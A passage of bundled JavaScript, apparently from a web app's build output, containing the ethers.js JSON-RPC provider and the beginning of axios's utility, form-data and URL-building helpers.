Object.freeze(shallowCopy(url)));\n }\n this._nextId = 42;\n }\n get _cache() {\n if (this._eventLoopCache == null) {\n this._eventLoopCache = {};\n }\n return this._eventLoopCache;\n }\n static defaultUrl() {\n return \"http://localhost:8545\";\n }\n detectNetwork() {\n if (!this._cache[\"detectNetwork\"]) {\n this._cache[\"detectNetwork\"] = this._uncachedDetectNetwork();\n setTimeout(() => {\n this._cache[\"detectNetwork\"] = null;\n }, 0);\n }\n return this._cache[\"detectNetwork\"];\n }\n _uncachedDetectNetwork() {\n return __awaiter8(this, void 0, void 0, function* () {\n yield timer(0);\n let chainId = null;\n try {\n chainId = yield this.send(\"eth_chainId\", []);\n } catch (error) {\n try {\n chainId = yield this.send(\"net_version\", []);\n } catch (error2) {\n }\n }\n if (chainId != null) {\n const getNetwork2 = getStatic(this.constructor, \"getNetwork\");\n try {\n return getNetwork2(BigNumber.from(chainId).toNumber());\n } catch (error) {\n return logger18.throwError(\"could not detect network\", Logger.errors.NETWORK_ERROR, {\n chainId,\n event: \"invalidNetwork\",\n serverError: error\n });\n }\n }\n return logger18.throwError(\"could not detect network\", Logger.errors.NETWORK_ERROR, {\n event: \"noNetwork\"\n });\n });\n }\n getSigner(addressOrIndex) {\n return new JsonRpcSigner(_constructorGuard2, this, addressOrIndex);\n }\n getUncheckedSigner(addressOrIndex) {\n return this.getSigner(addressOrIndex).connectUnchecked();\n }\n listAccounts() {\n return this.send(\"eth_accounts\", []).then((accounts) => {\n return accounts.map((a) => this.formatter.address(a));\n });\n }\n send(method, params) {\n const request = {\n method,\n params,\n id: this._nextId++,\n jsonrpc: \"2.0\"\n };\n this.emit(\"debug\", {\n action: \"request\",\n request: deepCopy(request),\n provider: this\n });\n const cache = [\"eth_chainId\", \"eth_blockNumber\"].indexOf(method) >= 0;\n if (cache && this._cache[method]) {\n return this._cache[method];\n }\n const result = fetchJson(this.connection, JSON.stringify(request), getResult).then((result2) => {\n this.emit(\"debug\", {\n action: \"response\",\n request,\n response: result2,\n provider: this\n });\n return result2;\n }, (error) => {\n this.emit(\"debug\", {\n action: \"response\",\n error,\n request,\n provider: this\n });\n throw error;\n });\n if (cache) {\n this._cache[method] = result;\n setTimeout(() => {\n this._cache[method] = null;\n }, 0);\n }\n return result;\n }\n prepareRequest(method, params) {\n switch (method) {\n case \"getBlockNumber\":\n return [\"eth_blockNumber\", []];\n case \"getGasPrice\":\n return [\"eth_gasPrice\", []];\n case \"getBalance\":\n return [\"eth_getBalance\", [getLowerCase(params.address), params.blockTag]];\n case \"getTransactionCount\":\n return [\"eth_getTransactionCount\", [getLowerCase(params.address), params.blockTag]];\n case \"getCode\":\n return [\"eth_getCode\", [getLowerCase(params.address), params.blockTag]];\n case \"getStorageAt\":\n return [\"eth_getStorageAt\", [getLowerCase(params.address), hexZeroPad(params.position, 32), params.blockTag]];\n case \"sendTransaction\":\n return [\"eth_sendRawTransaction\", [params.signedTransaction]];\n case \"getBlock\":\n if (params.blockTag) {\n return [\"eth_getBlockByNumber\", [params.blockTag, !!params.includeTransactions]];\n } else if (params.blockHash) {\n return [\"eth_getBlockByHash\", [params.blockHash, !!params.includeTransactions]];\n }\n return null;\n case \"getTransaction\":\n return [\"eth_getTransactionByHash\", [params.transactionHash]];\n case \"getTransactionReceipt\":\n return [\"eth_getTransactionReceipt\", [params.transactionHash]];\n case \"call\": {\n const hexlifyTransaction = getStatic(this.constructor, \"hexlifyTransaction\");\n return [\"eth_call\", [hexlifyTransaction(params.transaction, { from: true }), params.blockTag]];\n }\n case \"estimateGas\": {\n const hexlifyTransaction = getStatic(this.constructor, \"hexlifyTransaction\");\n return [\"eth_estimateGas\", [hexlifyTransaction(params.transaction, { from: true })]];\n }\n case \"getLogs\":\n if (params.filter && params.filter.address != null) {\n params.filter.address = getLowerCase(params.filter.address);\n }\n return [\"eth_getLogs\", [params.filter]];\n default:\n break;\n }\n return null;\n }\n perform(method, params) {\n return __awaiter8(this, void 0, void 0, function* () {\n if (method === \"call\" || method === \"estimateGas\") {\n const tx = params.transaction;\n if (tx && tx.type != null && BigNumber.from(tx.type).isZero()) {\n if (tx.maxFeePerGas == null && tx.maxPriorityFeePerGas == null) {\n const feeData = yield this.getFeeData();\n if (feeData.maxFeePerGas == null && feeData.maxPriorityFeePerGas == null) {\n params = shallowCopy(params);\n params.transaction = shallowCopy(tx);\n delete params.transaction.type;\n }\n }\n }\n }\n const args = this.prepareRequest(method, params);\n if (args == null) {\n logger18.throwError(method + \" not implemented\", Logger.errors.NOT_IMPLEMENTED, { operation: method });\n }\n try {\n return yield this.send(args[0], args[1]);\n } catch (error) {\n return checkError(method, error, params);\n }\n });\n }\n _startEvent(event) {\n if (event.tag === \"pending\") {\n this._startPending();\n }\n super._startEvent(event);\n }\n _startPending() {\n if (this._pendingFilter != null) {\n return;\n }\n const self2 = this;\n const pendingFilter = this.send(\"eth_newPendingTransactionFilter\", []);\n this._pendingFilter = pendingFilter;\n pendingFilter.then(function(filterId) {\n function poll2() {\n self2.send(\"eth_getFilterChanges\", [filterId]).then(function(hashes) {\n if (self2._pendingFilter != pendingFilter) {\n return null;\n }\n let seq = Promise.resolve();\n hashes.forEach(function(hash3) {\n self2._emitted[\"t:\" + hash3.toLowerCase()] = \"pending\";\n seq = seq.then(function() {\n return self2.getTransaction(hash3).then(function(tx) {\n self2.emit(\"pending\", tx);\n return null;\n });\n });\n });\n return seq.then(function() {\n return timer(1e3);\n });\n }).then(function() {\n if (self2._pendingFilter != pendingFilter) {\n self2.send(\"eth_uninstallFilter\", [filterId]);\n return;\n }\n setTimeout(function() {\n poll2();\n }, 0);\n return null;\n }).catch((error) => {\n });\n }\n poll2();\n return filterId;\n }).catch((error) => {\n });\n }\n _stopEvent(event) {\n if (event.tag === \"pending\" && this.listenerCount(\"pending\") === 0) {\n this._pendingFilter = null;\n }\n super._stopEvent(event);\n }\n // Convert an ethers.js transaction into a JSON-RPC transaction\n // - gasLimit => gas\n // - All values hexlified\n // - All numeric values zero-striped\n // - All addresses are lowercased\n // NOTE: This allows a TransactionRequest, but all values should be resolved\n // before this is called\n // @TODO: This will likely be removed in future versions and prepareRequest\n // will be the preferred method for this.\n static hexlifyTransaction(transaction, allowExtra) {\n const allowed = shallowCopy(allowedTransactionKeys2);\n if (allowExtra) {\n for (const key2 in allowExtra) {\n if (allowExtra[key2]) {\n allowed[key2] = true;\n }\n }\n }\n checkProperties(transaction, allowed);\n const result = {};\n [\"chainId\", \"gasLimit\", \"gasPrice\", \"type\", \"maxFeePerGas\", \"maxPriorityFeePerGas\", \"nonce\", \"value\"].forEach(function(key2) {\n if (transaction[key2] == null) {\n return;\n }\n const value = hexValue(BigNumber.from(transaction[key2]));\n if (key2 === \"gasLimit\") {\n key2 = \"gas\";\n }\n result[key2] = value;\n });\n [\"from\", \"to\", \"data\"].forEach(function(key2) {\n if (transaction[key2] == null) {\n return;\n }\n result[key2] = hexlify(transaction[key2]);\n });\n if (transaction.accessList) {\n result[\"accessList\"] = accessListify(transaction.accessList);\n }\n return result;\n }\n};\n\n// node_modules/@ethersproject/providers/lib.esm/index.js\nvar logger19 = new Logger(version13);\n\n// src/services/rpc-service.ts\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/axios.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/utils.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/helpers/bind.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nfunction bind(fn, thisArg) {\n return function wrap() {\n return fn.apply(thisArg, arguments);\n };\n}\n\n// node_modules/axios/lib/utils.js\nvar { toString } = Object.prototype;\nvar { getPrototypeOf } = Object;\nvar kindOf = /* @__PURE__ */ ((cache) => (thing) => {\n const str = toString.call(thing);\n return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());\n})(/* @__PURE__ */ Object.create(null));\nvar kindOfTest = (type) => {\n type = type.toLowerCase();\n return (thing) => kindOf(thing) === type;\n};\nvar typeOfTest = (type) => (thing) => typeof thing === type;\nvar { isArray } = Array;\nvar isUndefined = typeOfTest(\"undefined\");\nfunction isBuffer(val) {\n return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor) && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);\n}\nvar isArrayBuffer = kindOfTest(\"ArrayBuffer\");\nfunction isArrayBufferView(val) {\n let result;\n if (typeof ArrayBuffer !== \"undefined\" && ArrayBuffer.isView) {\n result = ArrayBuffer.isView(val);\n } else {\n result = val && val.buffer && isArrayBuffer(val.buffer);\n }\n return result;\n}\nvar isString = typeOfTest(\"string\");\nvar isFunction = typeOfTest(\"function\");\nvar isNumber = typeOfTest(\"number\");\nvar isObject = (thing) => thing !== null && typeof thing === \"object\";\nvar isBoolean = (thing) => thing === true || thing === false;\nvar isPlainObject = (val) => {\n if (kindOf(val) !== \"object\") {\n return false;\n }\n const prototype3 = getPrototypeOf(val);\n return (prototype3 === null || prototype3 === Object.prototype || Object.getPrototypeOf(prototype3) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val);\n};\nvar isDate = kindOfTest(\"Date\");\nvar isFile = kindOfTest(\"File\");\nvar isBlob = kindOfTest(\"Blob\");\nvar isFileList = kindOfTest(\"FileList\");\nvar isStream = (val) => isObject(val) && isFunction(val.pipe);\nvar isFormData = (thing) => {\n let kind;\n return thing && (typeof FormData === \"function\" && thing instanceof FormData || isFunction(thing.append) && ((kind = kindOf(thing)) === \"formdata\" || // detect form-data instance\n kind === \"object\" && isFunction(thing.toString) && thing.toString() === \"[object FormData]\"));\n};\nvar isURLSearchParams = kindOfTest(\"URLSearchParams\");\nvar [isReadableStream, isRequest, isResponse, isHeaders] = [\"ReadableStream\", \"Request\", \"Response\", \"Headers\"].map(kindOfTest);\nvar trim = (str) => str.trim ? str.trim() : str.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g, \"\");\nfunction forEach(obj, fn, { allOwnKeys = false } = {}) {\n if (obj === null || typeof obj === \"undefined\") {\n return;\n }\n let i;\n let l;\n if (typeof obj !== \"object\") {\n obj = [obj];\n }\n if (isArray(obj)) {\n for (i = 0, l = obj.length; i < l; i++) {\n fn.call(null, obj[i], i, obj);\n }\n } else {\n const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);\n const len = keys.length;\n let key2;\n for (i = 0; i < len; i++) {\n key2 = keys[i];\n fn.call(null, obj[key2], key2, obj);\n }\n }\n}\nfunction findKey(obj, key2) {\n key2 = key2.toLowerCase();\n const keys = Object.keys(obj);\n let i = keys.length;\n let _key;\n while (i-- > 0) {\n _key = keys[i];\n if (key2 === _key.toLowerCase()) {\n return _key;\n }\n }\n return null;\n}\nvar _global = (() => {\n if (typeof globalThis !== \"undefined\")\n return globalThis;\n return typeof self !== \"undefined\" ? self : typeof window !== \"undefined\" ? window : global;\n})();\nvar isContextDefined = (context) => !isUndefined(context) && context !== _global;\nfunction merge() {\n const { caseless } = isContextDefined(this) && this || {};\n const result = {};\n const assignValue = (val, key2) => {\n const targetKey = caseless && findKey(result, key2) || key2;\n if (isPlainObject(result[targetKey]) && isPlainObject(val)) {\n result[targetKey] = merge(result[targetKey], val);\n } else if (isPlainObject(val)) {\n result[targetKey] = merge({}, val);\n } else if (isArray(val)) {\n result[targetKey] = val.slice();\n } else {\n result[targetKey] = val;\n }\n };\n for (let i = 0, l = arguments.length; i < l; i++) {\n arguments[i] && forEach(arguments[i], assignValue);\n }\n return result;\n}\nvar extend = (a, b, thisArg, { allOwnKeys } = {}) => {\n forEach(b, (val, key2) => {\n if (thisArg && isFunction(val)) {\n a[key2] = bind(val, thisArg);\n } else {\n a[key2] = val;\n }\n }, { allOwnKeys });\n return a;\n};\nvar stripBOM = (content) => {\n if (content.charCodeAt(0) === 65279) {\n content = content.slice(1);\n }\n return content;\n};\nvar inherits = (constructor, superConstructor, props, descriptors2) => {\n constructor.prototype = Object.create(superConstructor.prototype, descriptors2);\n constructor.prototype.constructor = constructor;\n Object.defineProperty(constructor, \"super\", {\n value: superConstructor.prototype\n });\n props && Object.assign(constructor.prototype, props);\n};\nvar toFlatObject = (sourceObj, destObj, filter2, propFilter) => {\n let props;\n let i;\n let prop;\n const merged = {};\n destObj = destObj || {};\n if (sourceObj == null)\n return destObj;\n do {\n props = Object.getOwnPropertyNames(sourceObj);\n i = props.length;\n while (i-- > 0) {\n prop = props[i];\n if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {\n destObj[prop] = sourceObj[prop];\n merged[prop] = true;\n }\n }\n sourceObj = filter2 !== false && getPrototypeOf(sourceObj);\n } while (sourceObj && (!filter2 || filter2(sourceObj, destObj)) && sourceObj !== Object.prototype);\n return destObj;\n};\nvar endsWith = (str, searchString, position) => {\n str = String(str);\n if (position === void 0 || position > str.length) {\n position = str.length;\n }\n position -= searchString.length;\n const lastIndex = str.indexOf(searchString, position);\n return lastIndex !== -1 && lastIndex === position;\n};\nvar toArray = (thing) => {\n if (!thing)\n return null;\n if (isArray(thing))\n return thing;\n let i = thing.length;\n if (!isNumber(i))\n return null;\n const arr = new Array(i);\n while (i-- > 0) {\n arr[i] = thing[i];\n }\n return arr;\n};\nvar isTypedArray = /* @__PURE__ */ ((TypedArray) => {\n return (thing) => {\n return TypedArray && thing instanceof TypedArray;\n };\n})(typeof Uint8Array !== \"undefined\" && getPrototypeOf(Uint8Array));\nvar forEachEntry = (obj, fn) => {\n const generator = obj && obj[Symbol.iterator];\n const iterator = generator.call(obj);\n let result;\n while ((result = iterator.next()) && !result.done) {\n const pair = result.value;\n fn.call(obj, pair[0], pair[1]);\n }\n};\nvar matchAll = (regExp, str) => {\n let matches;\n const arr = [];\n while ((matches = regExp.exec(str)) !== null) {\n arr.push(matches);\n }\n return arr;\n};\nvar isHTMLForm = kindOfTest(\"HTMLFormElement\");\nvar toCamelCase = (str) => {\n return str.toLowerCase().replace(\n /[-_\\s]([a-z\\d])(\\w*)/g,\n function replacer(m, p1, p2) {\n return p1.toUpperCase() + p2;\n }\n );\n};\nvar hasOwnProperty = (({ hasOwnProperty: hasOwnProperty2 }) => (obj, prop) => hasOwnProperty2.call(obj, prop))(Object.prototype);\nvar isRegExp = kindOfTest(\"RegExp\");\nvar reduceDescriptors = (obj, reducer) => {\n const descriptors2 = Object.getOwnPropertyDescriptors(obj);\n const reducedDescriptors = {};\n forEach(descriptors2, (descriptor, name) => {\n let ret;\n if ((ret = reducer(descriptor, name, obj)) !== false) {\n reducedDescriptors[name] = ret || descriptor;\n }\n });\n Object.defineProperties(obj, reducedDescriptors);\n};\nvar freezeMethods = (obj) => {\n reduceDescriptors(obj, (descriptor, name) => {\n if (isFunction(obj) && [\"arguments\", \"caller\", \"callee\"].indexOf(name) !== -1) {\n return false;\n }\n const value = obj[name];\n if (!isFunction(value))\n return;\n descriptor.enumerable = false;\n if (\"writable\" in descriptor) {\n descriptor.writable = false;\n return;\n }\n if (!descriptor.set) {\n descriptor.set = () => {\n throw Error(\"Can not rewrite read-only method '\" + name + \"'\");\n };\n }\n });\n};\nvar toObjectSet = (arrayOrString, delimiter) => {\n const obj = {};\n const define2 = (arr) => {\n arr.forEach((value) => {\n obj[value] = true;\n });\n };\n isArray(arrayOrString) ? define2(arrayOrString) : define2(String(arrayOrString).split(delimiter));\n return obj;\n};\nvar noop = () => {\n};\nvar toFiniteNumber = (value, defaultValue) => {\n return value != null && Number.isFinite(value = +value) ? value : defaultValue;\n};\nvar ALPHA = \"abcdefghijklmnopqrstuvwxyz\";\nvar DIGIT = \"0123456789\";\nvar ALPHABET = {\n DIGIT,\n ALPHA,\n ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT\n};\nvar generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => {\n let str = \"\";\n const { length } = alphabet;\n while (size--) {\n str += alphabet[Math.random() * length | 0];\n }\n return str;\n};\nfunction isSpecCompliantForm(thing) {\n return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === \"FormData\" && thing[Symbol.iterator]);\n}\nvar toJSONObject = (obj) => {\n const stack = new Array(10);\n const visit = (source, i) => {\n if (isObject(source)) {\n if (stack.indexOf(source) >= 0) {\n return;\n }\n if (!(\"toJSON\" in source)) {\n stack[i] = source;\n const target = isArray(source) ? [] : {};\n forEach(source, (value, key2) => {\n const reducedValue = visit(value, i + 1);\n !isUndefined(reducedValue) && (target[key2] = reducedValue);\n });\n stack[i] = void 0;\n return target;\n }\n }\n return source;\n };\n return visit(obj, 0);\n};\nvar isAsyncFn = kindOfTest(\"AsyncFunction\");\nvar isThenable = (thing) => thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);\nvar utils_default = {\n isArray,\n isArrayBuffer,\n isBuffer,\n isFormData,\n isArrayBufferView,\n isString,\n isNumber,\n isBoolean,\n isObject,\n isPlainObject,\n isReadableStream,\n isRequest,\n isResponse,\n isHeaders,\n isUndefined,\n isDate,\n isFile,\n isBlob,\n isRegExp,\n isFunction,\n isStream,\n isURLSearchParams,\n isTypedArray,\n isFileList,\n forEach,\n merge,\n extend,\n trim,\n stripBOM,\n inherits,\n toFlatObject,\n kindOf,\n kindOfTest,\n endsWith,\n toArray,\n forEachEntry,\n matchAll,\n isHTMLForm,\n hasOwnProperty,\n hasOwnProp: hasOwnProperty,\n // an alias to avoid ESLint no-prototype-builtins detection\n reduceDescriptors,\n freezeMethods,\n toObjectSet,\n toCamelCase,\n noop,\n toFiniteNumber,\n findKey,\n global: _global,\n isContextDefined,\n ALPHABET,\n generateString,\n isSpecCompliantForm,\n toJSONObject,\n isAsyncFn,\n isThenable\n};\n\n// node_modules/axios/lib/core/Axios.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/helpers/buildURL.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/helpers/AxiosURLSearchParams.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/helpers/toFormData.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/core/AxiosError.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nfunction AxiosError(message, code, config, request, response) {\n Error.call(this);\n if (Error.captureStackTrace) {\n Error.captureStackTrace(this, this.constructor);\n } else {\n this.stack = new Error().stack;\n }\n this.message = message;\n this.name = \"AxiosError\";\n code && (this.code = code);\n config && (this.config = config);\n request && (this.request = request);\n response && (this.response = response);\n}\nutils_default.inherits(AxiosError, Error, {\n toJSON: function toJSON2() {\n return {\n // Standard\n message: this.message,\n name: this.name,\n // Microsoft\n description: this.description,\n number: this.number,\n // Mozilla\n fileName: this.fileName,\n lineNumber: this.lineNumber,\n columnNumber: this.columnNumber,\n stack: this.stack,\n // Axios\n config: utils_default.toJSONObject(this.config),\n code: this.code,\n status: this.response && this.response.status ? this.response.status : null\n };\n }\n});\nvar prototype = AxiosError.prototype;\nvar descriptors = {};\n[\n \"ERR_BAD_OPTION_VALUE\",\n \"ERR_BAD_OPTION\",\n \"ECONNABORTED\",\n \"ETIMEDOUT\",\n \"ERR_NETWORK\",\n \"ERR_FR_TOO_MANY_REDIRECTS\",\n \"ERR_DEPRECATED\",\n \"ERR_BAD_RESPONSE\",\n \"ERR_BAD_REQUEST\",\n \"ERR_CANCELED\",\n \"ERR_NOT_SUPPORT\",\n \"ERR_INVALID_URL\"\n // eslint-disable-next-line func-names\n].forEach((code) => {\n descriptors[code] = { value: code };\n});\nObject.defineProperties(AxiosError, descriptors);\nObject.defineProperty(prototype, \"isAxiosError\", { value: true });\nAxiosError.from = (error, code, config, request, response, customProps) => {\n const axiosError = Object.create(prototype);\n utils_default.toFlatObject(error, axiosError, function filter2(obj) {\n return obj !== Error.prototype;\n }, (prop) => {\n return prop !== \"isAxiosError\";\n });\n AxiosError.call(axiosError, error.message, code, config, request, response);\n axiosError.cause = error;\n axiosError.name = error.name;\n customProps && Object.assign(axiosError, customProps);\n return axiosError;\n};\nvar AxiosError_default = AxiosError;\n\n// node_modules/axios/lib/helpers/null.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar null_default = null;\n\n// node_modules/axios/lib/helpers/toFormData.js\nfunction isVisitable(thing) {\n return utils_default.isPlainObject(thing) || utils_default.isArray(thing);\n}\nfunction removeBrackets(key2) {\n return utils_default.endsWith(key2, \"[]\") ? key2.slice(0, -2) : key2;\n}\nfunction renderKey(path, key2, dots) {\n if (!path)\n return key2;\n return path.concat(key2).map(function each(token, i) {\n token = removeBrackets(token);\n return !dots && i ? \"[\" + token + \"]\" : token;\n }).join(dots ? \".\" : \"\");\n}\nfunction isFlatArray(arr) {\n return utils_default.isArray(arr) && !arr.some(isVisitable);\n}\nvar predicates = utils_default.toFlatObject(utils_default, {}, null, function filter(prop) {\n return /^is[A-Z]/.test(prop);\n});\nfunction toFormData(obj, formData, options) {\n if (!utils_default.isObject(obj)) {\n throw new TypeError(\"target must be an object\");\n }\n formData = formData || new (null_default || FormData)();\n options = utils_default.toFlatObject(options, {\n metaTokens: true,\n dots: false,\n indexes: false\n }, false, function defined(option, source) {\n return !utils_default.isUndefined(source[option]);\n });\n const metaTokens = options.metaTokens;\n const visitor = options.visitor || defaultVisitor;\n const dots = options.dots;\n const indexes = options.indexes;\n const _Blob = options.Blob || typeof Blob !== \"undefined\" && Blob;\n const useBlob = _Blob && utils_default.isSpecCompliantForm(formData);\n if (!utils_default.isFunction(visitor)) {\n throw new TypeError(\"visitor must be a function\");\n }\n function convertValue(value) {\n if (value === null)\n return \"\";\n if (utils_default.isDate(value)) {\n return value.toISOString();\n }\n if (!useBlob && utils_default.isBlob(value)) {\n throw new AxiosError_default(\"Blob is not supported. Use a Buffer instead.\");\n }\n if (utils_default.isArrayBuffer(value) || utils_default.isTypedArray(value)) {\n return useBlob && typeof Blob === \"function\" ? new Blob([value]) : Buffer.from(value);\n }\n return value;\n }\n function defaultVisitor(value, key2, path) {\n let arr = value;\n if (value && !path && typeof value === \"object\") {\n if (utils_default.endsWith(key2, \"{}\")) {\n key2 = metaTokens ? key2 : key2.slice(0, -2);\n value = JSON.stringify(value);\n } else if (utils_default.isArray(value) && isFlatArray(value) || (utils_default.isFileList(value) || utils_default.endsWith(key2, \"[]\")) && (arr = utils_default.toArray(value))) {\n key2 = removeBrackets(key2);\n arr.forEach(function each(el, index) {\n !(utils_default.isUndefined(el) || el === null) && formData.append(\n // eslint-disable-next-line no-nested-ternary\n indexes === true ? renderKey([key2], index, dots) : indexes === null ? key2 : key2 + \"[]\",\n convertValue(el)\n );\n });\n return false;\n }\n }\n if (isVisitable(value)) {\n return true;\n }\n formData.append(renderKey(path, key2, dots), convertValue(value));\n return false;\n }\n const stack = [];\n const exposedHelpers = Object.assign(predicates, {\n defaultVisitor,\n convertValue,\n isVisitable\n });\n function build(value, path) {\n if (utils_default.isUndefined(value))\n return;\n if (stack.indexOf(value) !== -1) {\n throw Error(\"Circular reference detected in \" + path.join(\".\"));\n }\n stack.push(value);\n utils_default.forEach(value, function each(el, key2) {\n const result = !(utils_default.isUndefined(el) || el === null) && visitor.call(\n formData,\n el,\n utils_default.isString(key2) ? key2.trim() : key2,\n path,\n exposedHelpers\n );\n if (result === true) {\n build(el, path ? path.concat(key2) : [key2]);\n }\n });\n stack.pop();\n }\n if (!utils_default.isObject(obj)) {\n throw new TypeError(\"data must be an object\");\n }\n build(obj);\n return formData;\n}\nvar toFormData_default = toFormData;\n\n// node_modules/axios/lib/helpers/AxiosURLSearchParams.js\nfunction encode4(str) {\n const charMap = {\n \"!\": \"%21\",\n \"'\": \"%27\",\n \"(\": \"%28\",\n \")\": \"%29\",\n \"~\": \"%7E\",\n \"%20\": \"+\",\n \"%00\": \"\\0\"\n };\n return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n return charMap[match];\n });\n}\nfunction AxiosURLSearchParams(params, options) {\n this._pairs = [];\n params && toFormData_default(params, this, options);\n}\nvar prototype2 = AxiosURLSearchParams.prototype;\nprototype2.append = function append(name, value) {\n this._pairs.push([name, value]);\n};\nprototype2.toString = function toString2(encoder) {\n const _encode3 = encoder ? function(value) {\n return encoder.call(this, value, encode4);\n } : encode4;\n return this._pairs.map(function each(pair) {\n return _encode3(pair[0]) + \"=\" + _encode3(pair[1]);\n }, \"\").join(\"&\");\n};\nvar AxiosURLSearchParams_default = AxiosURLSearchParams;\n\n// node_modules/axios/lib/helpers/buildURL.js\nfunction encode5(val) {\n return encodeURIComponent(val).replace(/%3A/gi, \":\").replace(/%24/g, \"$\").replace(/%2C/gi, \",\").replace(/%20/g, \"+\").replace(/%5B/gi, \"[\").replace(/%5D/gi, \"]\");\n}\nfunction buildURL(url, params, options) {\n if (!params) {\n return url;\n }\n const _encode3 = options && options.encode || encode5;\n const serializeFn = options && options.serialize;\n let serializedParams;\n if (serializeFn) {\n serializedParams = serializeFn(params, options);\n } else {\n serializedParams = utils_default.isURLSearchParams(params) ? params.toString() : new AxiosURLSearchParams_default(params, options).toString(_encode3);\n }\n if (serializedParams) {\n const hashmarkIndex = url.indexOf(\"#\");\n if (hashmarkIndex !== -1) {\n url = url.slice(0, hashmarkIndex);\n }\n url += (url.indexOf(\"?\") === -1 ? \"?\" : \"&\") + serializedParams;\n }\n return url;\n}\n\n// node_modules/axios/lib/core/InterceptorManager.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar InterceptorManager = class {\n constructor() {\n this.handlers = [];\n }\n /**\n * Add a new interceptor to the stack\n *\n * @param {Function} fulfilled The function to handle `then` for a `Promise`\n * @param {Function} rejected The function to handle `reject` for a `Promise`\n *\n * @return {Number} An ID used to remove interceptor later\n */\n use(fulfilled, rejected, options) {\n this.handlers.push({\n fulfilled,\n rejected,\n synchronous: options ? options.synchronous : false,\n runWhen: options ? options.runWhen : null\n });\n return this.handlers.length - 1;\n }\n /**\n * Remove an interceptor from the stack\n *\n * @param {Number} id The ID that was returned by `use`\n *\n * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise\n */\n eject(id2) {\n if (this.handlers[id2]) {\n this.handlers[id2] = null;\n }\n }\n /**\n * Clear all interceptors from the stack\n *\n * @returns {void}\n */\n clear() {\n if (this.handlers) {\n this.handlers = [];\n }\n }\n /**\n * Iterate over all the registered interceptors\n *\n * This method is particularly useful for skipping over any\n * interceptors that may have become `null` calling `eject`.\n *\n * @param {Function} fn The function to call for each interceptor\n *\n * @returns {void}\n */\n forEach(fn) {\n utils_default.forEach(this.handlers, function forEachHandler(h) {\n if (h !== null) {\n fn(h);\n }\n });\n }\n};\nvar InterceptorManager_default = InterceptorManager;\n\n// node_modules/axios/lib/core/dispatchRequest.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/core/transformData.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/defaults/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/defaults/transitional.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar transitional_default = {\n silentJSONParsing: true,\n forcedJSONParsing: true,\n clarifyTimeoutError: false\n};\n\n// node_modules/axios/lib/helpers/toURLEncodedForm.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/platform/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/platform/browser/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/axios/lib/platform/browser/classes/URLSearchParams.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar URLSearchParams_default = typeof URLSearchParams !== \"undefined\" ? URLSearchParams : AxiosURLSearchParams_default;\n\n// node_modules/axios/lib/platform/browser/classes/FormData.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar FormData_default = typeof FormData !== \"undefined\" ? FormData : null;\n\n// node_modules/axios/lib/platform/browser/classes/Blob.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar Blob_default = typeof Blob !== \"undefined\" ? Blob : null;\n\n// node_modules/axios/lib/platform/browser/index.js\nvar browser_default = {\n isBrowser: true,\n classes: {\n URLSearchParams: URLSearchParams_default,\n FormData: FormData_default,\n Blob: Blob_default\n },\n protocols: [\"http\", \"https\", \"file\", \"blob\", \"url\", \"data\"]\n};\n\n// node_modules/axios/lib/platform/common/utils.js\nvar utils_exports = {};\n__export(utils_exports, {\n hasBrowserEnv: () => hasBrowserEnv,\n hasStandardBrowserEnv: () => hasStandardBrowserEnv,\n hasStandardBrowserWebWorkerEnv: () => hasStandardBrowserWebWorkerEnv,\n origin: () => origin\n});\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar hasBrowserEnv = typeof window !== \"undefined\" && typeof document !== \"undefined\";\nvar hasStandardBrowserEnv = ((product) => {\n return hasBrowserEnv && [\"ReactNative\", \"NativeScript\", \"NS\"].indexOf(product) < 0;\n})(typeof navigator !== \"undefined\" && navigator.product);\nvar hasStandardBrowserWebWorkerEnv = (() => {\n return typeof WorkerGlobalScope !== \"undefined\" && // eslint-disable-next-line no-undef\n self instanceof WorkerGlobalScope && typeof self.importScripts === \"function\";\n})();\nvar origin = hasBrowserEnv && window.location.href || \"http://localhost\";\n\n// node_modules/axios/lib/platform/index.js\nvar platform_default = {\n ...utils_exports,\n ...browser_default\n};\n\n// node_modules/axios/lib/helpers/toURLEncodedForm.js\nfunction toURLEncodedForm(data, options) {\n return toFormData_default(data, new platform_default.classes.URLSearchParams(), 